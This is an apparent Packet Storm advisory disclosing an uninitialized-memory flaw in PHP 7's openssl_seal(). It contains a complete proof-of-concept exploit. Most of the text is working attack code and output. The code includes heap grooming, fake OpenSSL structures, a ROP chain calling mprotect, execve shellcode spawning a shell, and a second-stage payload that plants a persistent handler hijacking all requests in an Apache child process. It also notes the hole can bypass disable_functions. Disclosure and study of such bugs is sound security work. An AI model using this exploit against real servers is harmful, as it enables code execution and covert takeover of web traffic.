ID PACKETSTORM:135567 Type packetstorm Reporter Filip Palian Modified 2016-02-02T00:00:00
Description
`Hey folks,
The openssl_seal() [4] is prone to use uninitialized memory that can be
turned into a code execution. This document describes technical details of
our journey to hijack apache2 requests.
What the heck is openssl_seal()?
[...]
int openssl_seal ( string $data , string &$sealed_data , array &$env_keys , array $pub_key_ids [,
string $method = "RC4" ] )
openssl_seal() seals (encrypts) data by using the given method with a
randomly generated secret key. The key is encrypted with each of the
public keys associated with the identifiers in pub_key_ids and each
encrypted key is returned in env_keys. This means that one can send sealed
data to multiple recipients (provided one has obtained their public keys).
Each recipient must receive both the sealed data and the envelope key that
was encrypted with the recipient's public key.
[...]
Source: PHP documentation [4]
But it doesn't matter that much what it's intended to do, let's see its
implementation.
The Bug
4888 /* {{{ proto int openssl_seal(string data, &string sealdata, &array ekeys, array pubkeys)
4889 Seals data */
4890 PHP_FUNCTION(openssl_seal)
4891 {
4892 zval *pubkeys, *pubkey, *sealdata, *ekeys, *iv = NULL;
4893 HashTable *pubkeysht;
4894 EVP_PKEY **pkeys;
[...]
4895 zend_resource ** key_resources; /* so we know what to cleanup */
4905 if (zend_parse_parameters(ZEND_NUM_ARGS(), "sz/z/a/|sz/", &data, &data_len,
4906 &sealdata, &ekeys, &pubkeys, &method, &method_len, &iv) == FAILURE) {
4907 return;
4908 }
4909 pubkeysht = Z_ARRVAL_P(pubkeys);
4910 nkeys = pubkeysht ? zend_hash_num_elements(pubkeysht) : 0;
4911 if (!nkeys) {
4912 php_error_docref(NULL, E_WARNING, "Fourth argument to openssl_seal() must be a non-empty array");
4913 RETURN_FALSE;
4914 }
[...]
4935 pkeys = safe_emalloc(nkeys, sizeof(*pkeys), 0);
[...]
4939 key_resources = safe_emalloc(nkeys, sizeof(zend_resource*), 0);
4940 memset(key_resources, 0, sizeof(zend_resource*) * nkeys);
4941
4942 /* get the public keys we are using to seal this data */
4943 i = 0;
4944 ZEND_HASH_FOREACH_VAL(pubkeysht, pubkey) {
4945 pkeys[i] = php_openssl_evp_from_zval(pubkey, 1, NULL, 0, &key_resources[i]);
4946 if (pkeys[i] == NULL) {
4947 php_error_docref(NULL, E_WARNING, "not a public key (%dth member of pubkeys)", i+1);
4948 RETVAL_FALSE;
4949 goto clean_exit;
4950 }
4951 eks[i] = emalloc(EVP_PKEY_size(pkeys[i]) + 1);
4952 i++;
4953 } ZEND_HASH_FOREACH_END();
[...]
5000 clean_exit:
5001 for (i=0; i<nkeys; i++) {
5002 if (key_resources[i] == NULL) {
5003 EVP_PKEY_free(pkeys[i]);
5004 }
[...]
5008 }
Source: http://lxr.php.net/xref/PHP_7_0/ext/openssl/openssl.c#4890
Let's analyze this function, in line 4939 code allocates key_resources
table followed by zeroing it, this table is used to mark keys that are
intended to be freed. key_resources table is filled by loop between lines
4944 and 4953. nkeys is a number of elements passed to the function in
pubkeys array. Now if one of the array members is not a valid public key,
then code goes to clean_exit routine that iterates over key_resources
table and frees pkeys structures. pkeys itself is not initialized - loop
starting in 4944 line is supposed to do so, but in case of firing up
clean_exit we end up with uninitialized part of the array. Now let's
recall that key_resources was zeroed, it means that we're going to call
EVAP_PKEY_free() on uninitialized pkeys members.
The bug was introduced by commit 424aebbf3643b3fc1b1074ecddf2104cb9465f02
[1], quick review confirms that it affects branch 7.x only, so most
distros are safe as they let cook 7.x branch for a while.
Is it exploitable?
Well, it depends what EVP_PKEY_free does, so let's see the implementation:
376 void EVP_PKEY_free(EVP_PKEY *x)
377 {
378 int i;
379
380 if (x == NULL)
381 return;
382
383 i = CRYPTO_add(&x->references, -1, CRYPTO_LOCK_EVP_PKEY);
[...]
387 if (i > 0)
388 return;
[...]
395 EVP_PKEY_free_it(x);
396 if (x->attributes)
397 sk_X509_ATTRIBUTE_pop_free(x->attributes, X509_ATTRIBUTE_free);
398 OPENSSL_free(x);
399 }
Source: http://nxr.netbsd.org/xref/src/crypto/external/bsd/openssl/dist/crypto/evp/p_lib.c#376
Thanks to x == NULL check it wasn't found by unit tests. One obvious way
to exploit this bug is to trigger double free and then try to mess up
something, but OpenSSL uses allocator from libc which usually deals with
double free pretty well. There's an option to manipulate memory via
CRYPTO_add (as we control x), but decreasing by 1 will not get us far.
Let's dig deeper and see the EVP_PKEY_free_it() implementation:
401 static void EVP_PKEY_free_it(EVP_PKEY *x)
402 {
403 if (x->ameth && x->ameth->pkey_free) {
404 x->ameth->pkey_free(x);
405 x->pkey.ptr = NULL;
406 }
[...]
Source: http://nxr.netbsd.org/xref/src/crypto/external/bsd/openssl/dist/crypto/evp/p_lib.c#EVP_PKEY_free_it
404 line contains call to pkey_free() address that is extracted from x
pointer and comes from the uninitialized memory, which under some
circumstances we control. Therefore, it can gain us code execution!
Exploitation
First of all, we'd like to reference to the article [2] which describes
exploiting of uninitialized memory in sqlite extension and [3] that is a
PoC to hijack all requests coming into Apache when PHP runs as a module.
Now we'd like to explore this path once again and see what has changed
after introducing modern mitigations methods and amd64 architecture.
Our plan looks as follows:
* Stage 1 (pwning PHP):
1. control uninitialized memory
2. get (or guess) pointer that will act as a fake EVP_PKEY structure
3. push that pointer as a value to EVP_PKEY_free()
4. basing on guesses (or leaks) build a ROP chain allowing us to execute
data
5. execute the 2nd stage shellcode
* Stage 2 (pwning Apache):
1. guess/find handlers addresses
2. overwrite first handler with ours evil one
3. get back home (do not crash apache child)
Pwning PHP
To control uninitialized memory we can use the same trick as in [2].
str_repeat() can allocate memory for us that will be freed right after the
call. Because PHP internal allocator works as FIFO, thus we can force
openssl_seal() to allocate dirty memory for pkeys by selecting allocation
size wisely. Experiments showed that it's pretty reliable to push there
around 512 bytes. Therefore, in order to force 512 bytes allocation of
pkeys, the public key array should have 64 elements (64 * 8 bytes pointer
size).
Let us verify it:
~/src/php-7.0.2/sapi/cli$ gdb ./php
[...]
(gdb) r -r 'str_repeat("A", 512); openssl_seal($_, $_, $_, array_fill(0,64,0));'
Starting program: /home/rj4/src/php-7.0.2/sapi/cli/php -r 'str_repeat("A", 512);
openssl_seal($_, $_, $_, array_fill(0,64,0));'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Warning: openssl_seal(): not a public key (1th member of pubkeys) in Command line code on line 1
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff5a3d837 in CRYPTO_add_lock () from /lib/x86_64-linux-gnu/libcrypto.so.1.0.0
(gdb) x/i $rip
=> 0x7ffff5a3d837 <CRYPTO_add_lock+71>: add (%r12),%r13d
(gdb) i r
[...]
r12 0x208 520
[...]
(gdb) up
#1 0x00007ffff5ad0199 in EVP_PKEY_free () from /lib/x86_64-linux-gnu/libcrypto.so.1.0.0
(gdb)
#2 0x00000000004f0d12 in zif_openssl_seal (execute_data=0x7ffff28130d0, return_value=0x7ffff28130c0)
at /home/rj4/src/php-7.0.2/ext/openssl/openssl.c:5003
5003 EVP_PKEY_free(pkeys[i]);
(gdb) print i
$3 = 2
(gdb) print pkeys[i]
$11 = (EVP_PKEY *) 0x200
(gdb) print pkeys[i+1]
$12 = (EVP_PKEY *) 0x4141414141414141
(gdb) print pkeys[i+2]
$13 = (EVP_PKEY *) 0x4141414141414141
Boom! It crashed but we expected pkeys[i] to be 0x4141414141414141
(AAAAAAAA) rather than 0x200. Luckily we can simply overwrite 0x200 in
pkeys by placing at the beginning valid keys - in short we're going to
overwrite first few elements so we can get rid of 0x200 value (which comes
from the string length).
~/src/php-7.0.2/sapi/cli$ cat 2.php
<?php
$pem = "
-----BEGIN PUBLIC KEY-----
MCwwDQYJKoZIhvcNAQEBBQADGwAwGAIRANG2dvm8oNiH3IciNd44VZcCAwEAAQ==
-----END PUBLIC KEY-----"; /* Random RSA key */
$a = array_fill(0,64,0);
$k = openssl_pkey_get_public($pem);
$a[0] = $k; $a[1] = $k; $a[2] = $k;
var_dump($k);
str_repeat("A", 512);
openssl_seal($_, $_, $_, $a);
~/src/php-7.0.2/sapi/cli$ gdb ./php
[...]
(gdb) r 2.php
Starting program: /home/rj4/src/php-7.0.2/sapi/cli/php 2.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
resource(4) of type (OpenSSL key)
Warning: openssl_seal(): not a public key (4th member of pubkeys) in
/home/rj4/src/php-7.0.2/sapi/cli/2.php on line 13
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff5a3d837 in CRYPTO_add_lock () from /lib/x86_64-linux-gnu/libcrypto.so.1.0.0
(gdb) x/i $rip
=> 0x7ffff5a3d837 <CRYPTO_add_lock+71>: add (%r12),%r13d
(gdb) i r r12
r12 0x4141414141414149 4702111234474983753
(gdb) up
#1 0x00007ffff5ad0199 in EVP_PKEY_free () from /lib/x86_64-linux-gnu/libcrypto.so.1.0.0
(gdb)
#2 0x00000000004f0d12 in zif_openssl_seal (execute_data=0x7ffff2813180, return_value=0x7ffff2813170) at
/home/rj4/src/php-7.0.2/ext/openssl/openssl.c:5003
5003 EVP_PKEY_free(pkeys[i]);
(gdb) print pkeys[i]
$1 = (EVP_PKEY *) 0x4141414141414141
We've got full control over value passed to EVP_PKEY_free. Let's see how EVP_PKEY structure looks like now:
(gdb) print *pkeys[0]
$2 = {type = 6, save_type = 6, references = 1, ameth = 0x7ffff5d99860, engine = 0x0,
pkey = {ptr = 0x60f00000c430 "", rsa = 0x60f00000c430,
dsa = 0x60f00000c430, dh = 0x60f00000c430, ec = 0x60f00000c430}, save_parameters = 1, attributes = 0x0}
structure definition:
128 struct evp_pkey_st {
129 int type;
130 int save_type;
131 int references;
132 const EVP_PKEY_ASN1_METHOD *ameth;
133 ENGINE *engine;
134 union {
135 char *ptr;
[...]
148 } pkey;
149 int save_parameters;
150 STACK_OF(X509_ATTRIBUTE) *attributes; /* [ 0 ] */
151 } /* EVP_PKEY */ ;
Source: http://nxr.netbsd.org/xref/src/crypto/external/bsd/openssl/dist/crypto/evp/evp.h#evp_pkey_st
and EVP_PKEY_ASN1_METHOD has the following definition:
74 struct evp_pkey_asn1_method_st {
75 int pkey_id;
[...]
102 void (*pkey_free) (EVP_PKEY *pkey);
[...]
114 } /* EVP_PKEY_ASN1_METHOD */ ;
Source: http://nxr.netbsd.org/xref/src/crypto/external/bsd/openssl/dist/crypto/evp/evp.h#evp_pkey_st<
How to get pkey_free offset, you may ask?
(gdb) disas EVP_PKEY_free
Dump of assembler code for function EVP_PKEY_free:
[...]
0x00007ffff5ad01a3 <+51>: callq 0x7ffff5acfa90
0x00007ffff5ad01a8 <+56>: mov 0x30(%rbx),%rdi
0x00007ffff5ad01ac <+60>: test %rdi,%rdi
0x00007ffff5ad01af <+63>: je 0x7ffff5ad01bd
0x00007ffff5ad01b1 <+65>: lea 0xf1c8(%rip),%rsi # 0x7ffff5adf380
0x00007ffff5ad01b8 <+72>: callq 0x7ffff5ac35f0
0x00007ffff5ad01bd <+77>: mov %rbx,%rdi
0x00007ffff5ad01c0 <+80>: pop %rbx
0x00007ffff5ad01c1 <+81>: jmpq 0x7ffff5a3df70
End of assembler dump.
(gdb) x/i 0x7ffff5acfa90
0x7ffff5acfa90: push %rbx
(gdb)
0x7ffff5acfa91: mov 0x10(%rdi),%rax
(gdb)
0x7ffff5acfa95: mov %rdi,%rbx
(gdb)
0x7ffff5acfa98: test %rax,%rax
(gdb)
0x7ffff5acfa9b: je 0x7ffff5acfab3
(gdb)
0x7ffff5acfa9d: mov 0xa0(%rax),%rax // pkey_free() ptr offset in ameth
)
So now we've got all the puzzles needed to gain control over code
execution, let's analyze the following image:
pkeys (openssl_seal())
+----------+----------+----------+----------+-----
| pkeys[0] | pkeys[1] | pkeys[2] | pkeys[3] | ...
+----------+----------+----------+----------+---
|
+------------------------------------+
|
v EVP_PKEY
+------+-----------+------------+-------+-----
| type | save_type | references | ameth | ...
+------+-----------+------------+-------+---
|
+------------------------------------+
|
v EVP_PKEY_ASN1_METHOD
+---------+--- -+-----------+----
| pkey_id | ... | pkey_free | ...
+---------+- ---+-----------+---
What we need now, is to place somewhere a fake EVP_PKEY and
EVP_PKEY_ASN1_METHOD structures. We fully control pkeys[3], so obvious
thing is to keep fake structs as strings and point to them, but how we'd
figure out what's their address?
Exploiting PHP gives us the luxury, that we can get desired addresses from
the procfs. By calling str_repeat() PHP allocates a new memory region that
is under our control and we know its address range by reading
/proc/self/maps. We could also use another bug that will let us reveal
some information about memory layout, but we don't have to push at open
doors here. Having this information we can start filling newly allocated
buffer with a fake EVP_PKEY and EVP_PKEY_ASN1_METHOD structures minding
the correct offsets.
~/src/php-7.0.2/sapi/cli$ cat 3.php
[...]
function get_maps() {
$fh = fopen("/proc/self/maps", "r");
$maps = fread($fh, 31337^2);
fclose($fh);
return explode("\n", $maps);
}
[...]
$pre = get_maps();
$buffer = str_repeat("\x00", 0xff0000);
$post = get_maps();
$tmp = array_diff($post, $pre);
$tmp = explode('-', array_values($tmp)[0])[0];
for ($i = 0; $i < 8; $i++)
$buffer[0xff + 12 + $i] = pack('P', $addr)[$i];
[...]
Upon calling EVP_PKEY_free_it(), and subsequent attempt to call the
pkey_free() in ameth structure, the data under the address specified by us
gets executed. Cool!
At this point it is trivial to handle both, NX and ASLR. We are chaining
the ROP to neutralise NX and use /proc/self/maps so we can forget about
the ASLR. Surely other and fancier ROP chain variants can be created but
we decided to go for an easy option. During ROPing we attempted to use
gadgets from libc in order to make our exploit more generic. Despite our
best efforts, we failed to find appropriate gadget for stack pivoting. We
ended up using gadgets from the PHP binary, which worked good enough. To
pivot the stack we used the address of our controlled buffer, which was
already on the stack, and popped it into rsp. Having control over all the
pieces we were able to call mprotect() and set the RWX perms for the
memory region of our buffer. This step ultimately led us to a second stage
shell code execution. CLI version works perfectly:
$ cat 3.php
<?php
function get_maps() {
$fh = fopen("/proc/self/maps", "r");
$maps = fread($fh, 31337);
fclose($fh);
return explode("\n", $maps);
}
$pre = get_maps();
$buffer = str_repeat("\x00", 0xff0000);
$post = get_maps();
$tmp = array_diff($post, $pre);
if (count($tmp) != 1)
die('[-] you need infoleak :[');
$tmp = explode('-',array_values($tmp)[0])[0];
$align = 0xff;
$addr = hexdec($tmp)+0x14; /* align to string */
echo "[+] buffer string @ 0x".dechex($addr)."\n";
$addr += $align;
echo "[+] faking EVP_PKEY @ 0x".dechex($addr)."\n";
echo "[+] faking ASN @ 0x".dechex($addr)."\n";
for ($i = 0; $i < 8; $i++) {
$buffer[$align+12+$i] = pack('P', $addr)[$i];
}
$rop_addr = 0xa59203; /* pop x ; pop rsp ; ret - stack pivot */
echo "[+] faking pkey_free @ 0x".dechex($addr+0xa0-4)." = ".dechex($rop_addr)."\n";
for ($i = 0; $i < 8; $i++) {
$buffer[$align+0xa0-4+$i] = pack('P', $rop_addr)[$i];
}
$rop_addr = 0x8e475c; /* pop x ; pop x ; ret - clean up stack after pivoting */
for ($i = 0; $i < 8; $i++) {
$buffer[$align+$i-4] = pack('P', $rop_addr)[$i];
}
$libc_base = 0;
foreach (get_maps() as $record)
if (strstr($record, "libc-") && strstr($record, "r-xp")) {
$libc_base = hexdec(explode('-', $record)[0]);
break;
}
if ($libc_base == 0)
die("[-] can't find libc base, you need an information leak :[");
echo "[+] libc base @ 0x".dechex($libc_base)."\n";
$mprotect_offset = 0xf4a20;
$mprotect_addr = $libc_base + $mprotect_offset;
echo "[+] mprotect @ 0x".dechex($mprotect_addr)."\n";
echo "[+] building ropchain\n";
$rop_chain =
pack('P', 0x000000000042bc82) /* pop rdx ; ret */ .
pack('P', 0x0000000000000007) /* rdx = 7 */ .
pack('P', 0x0000000000e2da18) /* pop rsi ; ret */ .
pack('P', 0x0000000000004000) /* rsi = 0x1000 */ .
pack('P', 0x0000000000e23e26) /* pop rdi ; ret */ .
pack('P', $addr ^ ($addr & 0xffff)) /* rdi = addr */ .
pack('P', $mprotect_addr) /* mprotect addr XXX */ .
pack('P', ($addr ^ ($addr & 0xffff)) | 0x10ff);
for ($i = 0 ; $i < strlen($rop_chain); $i++)
$buffer[$align+$i+0x14] = $rop_chain[$i];
$shellcode = str_repeat("\x90",512) .
/* taken from https://www.exploit-db.com/exploits/13691/ */
"\x48\x31\xd2" . // xor %rdx, %rdx
"\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" . // mov $0x68732f6e69622f2f, %rbx
"\x48\xc1\xeb\x08" . // shr $0x8, %rbx
"\x53" . // push %rbx
"\x48\x89\xe7" . // mov %rsp, %rdi
"\x50" . // push %rax
"\x57" . // push %rdi
"\x48\x89\xe6" . // mov %rsp, %rsi
"\xb0\x3b" . // mov $0x3b, %al
"\x0f\x05"; // syscall;
for ($i = 0 ; $i < strlen($shellcode); $i++)
$buffer[0x1000 + $i] = $shellcode[$i];
echo "[+] triggering openssl_seal(), spawning shell\nhave phun...\n";
$addr = pack('P', $addr);
$memory = str_repeat($addr, 321);
$pem = "
-----BEGIN PUBLIC KEY-----
MCwwDQYJKoZIhvcNAQEBBQADGwAwGAIRANG2dvm8oNiH3IciNd44VZcCAwEAAQ==
-----END PUBLIC KEY-----"; /* Random RSA key */
$a = array_fill(0,321,0);
$k = openssl_pkey_get_public($pem);
$a[0] = $k; $a[1] = $k; $a[2] = $k;
str_repeat($memory, 1);
@openssl_seal($_, $_, $_, $a);
~/src/php-7.0.2-test/sapi/cli$ ./php 3.php
[+] buffer string @ 0x7f00ef400014
[+] faking EVP_PKEY @ 0x7f00ef400113
[+] faking ASN @ 0x7f00ef400113
[+] faking pkey_free @ 0x7f00ef4001af = a59203
[+] libc base @ 0x7f00f1540000
[+] mprotect @ 0x7f00f1634a20
[+] building ropchain
[+] triggering openssl_seal(), spawning shell
have phun...
$ \o/
PWNing apache2handler
Spawning shell on your own account is pretty useless, isn't it? Hijacking
all Apache requests would be much more interesting. PHP is shipped with
various backends (above we tricked CLI console), one of them is apache2
module which let it to serve PHP. The cool thing is that it's super easy
to setup and quite popular option, on the other hand running PHP scripts
in the same process that runs Apache is not the best idea from a security
point of view... and we're going to exploit that. From time to time, as
pentesters we deal with the situation where disable_functions [7] option
is setup, so we have to find way to spawn a shell from the PHP level. This
hole may help you to bypass it and do even more.
Previously [3] we used a barbarian method to force Apache to run our own
handler - we were simply overwriting the first function address in module
handlers. This time we're going to be a gentlemen and use Apache 2 APIs.
To be more specific, we pick Ubuntu LTS environment (14.04), which
provides Apache 2.4.7 as a package. PHP 7 was compiled from sources as
Ubuntu packages provide 5-branch only.
Here's what we want to do:
1. register memory that will survive subsequent requests
2. copy Apache handler code to the registered memory
3. register filter hook that will be run really first
4. do something to clean the corrupted state and let Apache child process
happily serve subsequent requests
Note that the above sequence will "infect" Apache child, so our handler
will be served as long as the child will live. However, running exploit in
a loop will likely allow us to inject into all children.
Let's make steps 1-3 possible first, then we'll worry about landing
safely. We don't have any restrictions what to put in our shell code, so
let's write it in C (just because we can):
void
shellcode(void *(mmap_addr)(void *, size_t, int, int, int, off_t),
void *(memcpy_addr)(void *, void *, size_t),
int (*ap_hook_quick_handler_addr)(void *, void *, void *, int),
unsigned char *handler, size_t len)
{
void *handler_space;
unsigned char *p;
/* create space for our handler, as it needs to survive sequential
* requests */
p = handler_space = mmap_addr(0, 0x2000, PROT_WRITE|PROT_EXEC|PROT_READ,
MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
/* ~memcpy(3) */
while(len--)
*(p++) = *(handler++);
/* register new filter */
ap_hook_quick_handler_addr(handler_space, NULL, NULL, APR_HOOK_REALLY_FIRST);
}
Almost all code is self descriptive, we're gonna pass a few addresses to
the shellcode function, the function will mmap(2) code for us, so we can
survive subsequent requests, then we're going to copy it and call
ap_hook_quick_handler function, which registers our module handler. Last
but not least, we're going to call code $shellcode_stage2. On a side note.
Quick handlers are run before any other request hooks, so we can be sure
that every request will trigger our code. Take a look at [6] to read more
about writing Apache modules.
Handler will look as follows:
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <signal.h>
#define APR_HOOK_REALLY_FIRST (-10)
#define OK (0)
int
handler(void *r)
{
void (*ap_rprintf_addr)(char *, void *) = (void *)0xdeadbabefeedcafe;
char content[16] = "hello world";
(ap_rprintf_addr)(r, content);
return OK;
}
We simply compile it with -O0 -fno-stack-protector and dump it to a
shellcode.
We call ap_rprintf to print our content in response. Nothing
extraordinary. For now address of this function is a hardcoded
placeholder, it will be replaced with a valid address in exploit itself.
To determine addresses we use the /proc/self/maps again.
So, we've implemented steps 1-3. What about the 4th? Getting out of the
corrupted state is tricky, stack is corrupted (a bit). We could try to
rebuild it and act like nothing has happened but we can also reuse the
technique that was used previously. The PHP has a mechanism that kills
scripts that run for too long, it is based on signals. If we deliver
SIGPROF signal to the process, then PHP will take care of recovering our
victim for us.
This time we'll use asm (in PHP, sic!):
$shellcode_stage1 = str_repeat("\x90",512) .
"\x48\xb8" . pack('P', $buffer_base + 0x2018) . // movabs shellcode_stage2, %rax
"\x49\xb8" . pack('P', 0x1000) . // handler size
"\x48\xb9" . pack('P', $buffer_base + 0x3018) . // handler
"\x48\xba" . pack('P', $ap_hook_handler_addr) . // movabs ap_hook_quick_handler, %rdx
"\x48\xbe" . pack('P', 0) . // UNUSED
"\x48\xbf" . pack('P', $mmap_addr) . // movabs mmap,%rdi
"\xff\xd0" . // callq %rax
"\xb8\x27\x00\x00\x00" . // mov $0x27,%eax - getpid syscall
"\x0f\x05" . // syscall
"\xbe\x1b\x00\x00\x00" . // mov $0xd,%esi - SIGPROF
"\x89\xc7" . // mov %eax,%edi - pid
"\xb8\x3e\x00\x00\x00" . // mov $0x3e,%eax - kill syscall
"\x0f\x05"; // syscall
Those 0x2018 and 0x3018 offsets are used to point to the exact memory
locations in our buffer_string. It means that we have to add 0x18 aligning
bytes to the string contents from the beginning of the $buffer_addr. We're
going to place the shellcode_stage2 inside the $buffer at index 0x2000 and
handler at index 0x3000.
So our code chain is the following:
* shellcode_stage1:
+ call shellcode_stage2
^ mmap
^ copy handler
^ ap_hook_quick_handler
+ getpid
+ kill & clean up
We've got all that we need:
<?php
function get_maps() {
$fh = fopen("/proc/self/maps", "r");
$maps = fread($fh, 331337);
fclose($fh);
return explode("\n", $maps);
}
function find_map($sym) {
$addr = 0;
foreach(get_maps() as $record)
if (strstr($record, $sym) && strstr($record, "r-xp")) {
$addr = hexdec(explode('-', $record)[0]);
break;
}
if ($addr == 0)
die("[-] can't find $sym base, you need an information leak :[");
return $addr;
}
function fill_buffer($offset, $content) {
global $buffer;
for ($i = 0; $i < strlen($content); $i++)
$buffer[$offset + $i] = $content[$i];
return;
}
$pre = get_maps();
$buffer = str_repeat("\x00", 0xff0000);
$post = get_maps();
$tmp = array_diff($post, $pre);
if (count($tmp) != 1)
die('[-] you need an information leak :[');
$buffer_base = hexdec(explode('-',array_values($tmp)[0])[0]);
$addr = $buffer_base+0x14; /* align to string */
echo "[+] buffer string @ 0x".dechex($addr)."\n";
$align = 0xff;
$addr += $align;
echo "[+] faking EVP_PKEY @ 0x".dechex($addr)."\n";
echo "[+] faking ASN @ 0x".dechex($addr)."\n";
fill_buffer($align + 12, pack('P', $addr));
$libphp_base = find_map("libphp7");
echo "[+] libphp7 base @ 0x".dechex($libphp_base)."\n";
/* pop x ; pop rsp ; ret - stack pivot */
$rop_addr = $libphp_base + 0x00000000004a79c3;
echo "[+] faking pkey_free @ 0x".dechex($addr+0xa0-4)." = ".dechex($rop_addr)."\n";
fill_buffer($align + 0xa0 - 4, pack('P', $rop_addr));
/* pop rbp ; pop rbp ; ret - clean up the stack after pivoting */
$rop_addr = $libphp_base + 0x000000000041d583;
fill_buffer($align - 4, pack('P', $rop_addr));
$libc_base = find_map("libc-");
echo "[+] libc base @ 0x".dechex($libc_base)."\n";
$mprotect_offset = 0xf4a20;
$mprotect_addr = $libc_base + $mprotect_offset;
echo "[+] mprotect @ 0x".dechex($mprotect_addr)."\n";
$mmap_offset = 0xf49c0;
$mmap_addr = $libc_base + $mmap_offset;
echo "[+] mmap @ 0x".dechex($mmap_addr)."\n";
$apache2_base = find_map("/usr/sbin/apache2");
echo "[+] apache2 base @ 0x".dechex($apache2_base)."\n";
$ap_rprintf_offset = 0x429c0;
$ap_rprintf_addr = $apache2_base + $ap_rprintf_offset;
echo "[+] ap_rprintf @ 0x".dechex($ap_rprintf_addr)."\n";
$ap_hook_quick_handler_offset = 0x56c00;
$ap_hook_quick_handler_addr = $apache2_base + $ap_hook_quick_handler_offset;
echo "[+] ap_hook_quick_handler @ 0x".dechex($ap_hook_quick_handler_addr)."\n";
echo "[+] building ropchain\n";
$rop_chain =
pack('P', $libphp_base + 0x00000000000ea107) . // pop rdx ; ret
pack('P', 0x0000000000000007) . // rdx = 7
pack('P', $libphp_base + 0x00000000000e69bd) . // pop rsi ; ret
pack('P', 0x0000000000004000) . // rsi = 0x1000
pack('P', $libphp_base + 0x00000000000e5fd8) . // pop rdi ; ret
pack('P', $addr ^ ($addr & 0xffff)) . // rdi = page aligned addr
pack('P', $mprotect_addr) . // mprotect addr
pack('P', ($addr ^ ($addr & 0xffff)) | 0x10ff); // return to shellcode_stage1
fill_buffer($align + 0x14, $rop_chain);
$shellcode_stage1 = str_repeat("\x90", 512) .
"\x48\xb8" . pack('P', $buffer_base + 0x2018) . // movabs shellcode_stage2, %rax
"\x49\xb8" . pack('P', 0x1000) . // handler size
"\x48\xb9" . pack('P', $buffer_base + 0x3018) . // handler
"\x48\xba" . pack('P', $ap_hook_quick_handler_addr) . // movabs ap_hook_quick_handler, %rdx
"\x48\xbe" . pack('P', 0) . // UNUSED
"\x48\xbf" . pack('P', $mmap_addr) . // movabs mmap,%rdi
"\xff\xd0" . // callq %rax
"\xb8\x27\x00\x00\x00" . // mov $0x27,%eax - getpid syscall
"\x0f\x05" . // syscall
"\xbe\x1b\x00\x00\x00" . // mov $0xd,%esi - SIGPROF
"\x89\xc7" . // mov %eax,%edi - pid
"\xb8\x3e\x00\x00\x00" . // mov $0x3e,%eax - kill syscall
"\x0f\x05"; // syscall
fill_buffer(0x1000, $shellcode_stage1);
$shellcode_stage2 = str_repeat("\x90", 512) .
"\x55" . // push %rbp
"\x48\x89\xe5" . // mov %rsp,%rbp
"\x48\x83\xec\x40" . // sub $0x40,%rsp
"\x48\x89\x7d\xe8" . // mov %rdi,-0x18(%rbp)
"\x48\x89\x75\xe0" . // mov %rsi,-0x20(%rbp)
"\x48\x89\x55\xd8" . // mov %rdx,-0x28(%rbp)
"\x48\x89\x4d\xd0" . // mov %rcx,-0x30(%rbp)
"\x4c\x89\x45\xc8" . // mov %r8,-0x38(%rbp)
"\x48\x8b\x45\xe8" . // mov -0x18(%rbp),%rax
"\x41\xb9\x00\x00\x00\x00" . // mov $0x0,%r9d
"\x41\xb8\xff\xff\xff\xff" . // mov $0xffffffff,%r8d
"\xb9\x22\x00\x00\x00" . // mov $0x22,%ecx
"\xba\x07\x00\x00\x00" . // mov $0x7,%edx
"\xbe\x00\x20\x00\x00" . // mov $0x2000,%esi
"\xbf\x00\x00\x00\x00" . // mov $0x0,%edi
"\xff\xd0" . // callq *%rax
"\x48\x89\x45\xf0" . // mov %rax,-0x10(%rbp)
"\x48\x8b\x45\xf0" . // mov -0x10(%rbp),%rax
"\x48\x89\x45\xf8" . // mov %rax,-0x8(%rbp)
"\xeb\x1d" . // jmp 0x40063d <shellcode+0x6d>
"\x48\x8b\x45\xf8" . // mov -0x8(%rbp),%rax
"\x48\x8d\x50\x01" . // lea 0x1(%rax),%rdx
"\x48\x89\x55\xf8" . // mov %rdx,-0x8(%rbp)
"\x48\x8b\x55\xd0" . // mov -0x30(%rbp),%rdx
"\x48\x8d\x4a\x01" . // lea 0x1(%rdx),%rcx
"\x48\x89\x4d\xd0" . // mov %rcx,-0x30(%rbp)
"\x0f\xb6\x12" . // movzbl (%rdx),%edx
"\x88\x10" . // mov %dl,(%rax)
"\x48\x8b\x45\xc8" . // mov -0x38(%rbp),%rax
"\x48\x8d\x50\xff" . // lea -0x1(%rax),%rdx
"\x48\x89\x55\xc8" . // mov %rdx,-0x38(%rbp)
"\x48\x85\xc0" . // test %rax,%rax
"\x75\xd2" . // jne 0x400620 <shellcode+0x50>
"\x48\x8b\x7d\xf0" . // mov -0x10(%rbp),%rdi
"\x48\x8b\x45\xd8" . // mov -0x28(%rbp),%rax
"\xb9\xf6\xff\xff\xff" . // mov $0xfffffff6,%ecx
"\xba\x00\x00\x00\x00" . // mov $0x0,%edx
"\xbe\x00\x00\x00\x00" . // mov $0x0,%esi
"\xff\xd0" . // callq *%rax
"\xc9" . // leaveq
"\xc3"; // retq
fill_buffer(0x2000, $shellcode_stage2);
$handler =
"\x55" . // push %rbp
"\x48\x89\xe5" . // mov %rsp,%rbp
"\x48\x83\xec\x30" . // sub $0x30,%rsp
"\x48\x89\x7d\xd8" . // mov %rdi,-0x28(%rbp)
"\x48\xb8" . pack('P', $ap_rprintf_addr) . // movabs $0xdeadbabefeedcafe,%rax
"\x48\x89\x45\xf8" . // mov %rax,-0x8(%rbp)
"\x48\xb8" . "Hello Wo" . // movabs CONTENT,%rax
"\x48\x89\x45\xe0" . // mov %rax,-0x20(%rbp)
"\x48\xb8" . "rld!\n\x00\x00\x00" . // movabs CONTENT,%rax
"\x48\x89\x45\xe8" . // mov %rax,-0x20(%rbp)
"\x48\x8d\x4d\xe0" . // lea -0x20(%rbp),%rcx
"\x48\x8b\x55\xd8" . // mov -0x28(%rbp),%rdx
"\x48\x8b\x45\xf8" . // mov -0x8(%rbp),%rax
"\x48\x89\xce" . // mov %rcx,%rsi
"\x48\x89\xd7" . // mov %rdx,%rdi
"\xff\xd0" . // callq *%rax
"\xb8\x00\x00\x00\x00" . // mov $0x0,%eax
"\xc9" . // leaveq
"\xc3"; // retq
